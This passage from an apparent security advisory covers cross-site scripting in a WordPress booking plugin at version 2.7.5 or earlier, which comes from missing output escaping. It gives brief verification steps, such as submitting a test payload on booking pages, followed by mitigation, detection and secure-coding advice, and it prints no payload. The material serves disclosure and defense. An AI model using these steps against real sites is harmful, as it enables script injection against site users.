Confirm plugin version is 2.7.5 or earlier. - Locate the booking display page and inspect source for raw booking values. - Submit a test payload and verify execution on a page that renders booking data. - Review affected source code for missing `esc_html()` / `esc_attr()` around user-controlled output. ## 5. Recommendations Mitigation strategies - Upgrade the plugin to the patched version that includes the escaping fixes. - If patching is not immediately possible, remove or restrict access to the booking form and admin booking pages. - Implement a Content Security Policy (CSP) to reduce the impact of reflected/stored XSS. Detection methods - Audit plugin source files for output escaping in user-controlled contexts. - Scan for uses of `echo` or template substitution with booking object properties without `esc_html()` or `esc_attr()`. - Use WordPress-focused scanning tools and static code analysis to detect missing escaping. - Monitor the plugin version installed and apply updates promptly. Best practices to prevent similar issues - Always escape user-supplied data at the point of output, using context-appropriate functions. - Use `esc_html()` for HTML text content and `esc_attr()` for attribute values. - Avoid relying solely on input sanitization; output escaping is the primary defense against XSS. - Treat any stored user input as untrusted, especially in admin-facing interfaces. - Review and test template rendering paths for XSS vulnerabilities during development and code review.
Page 8 of 10 · 96 total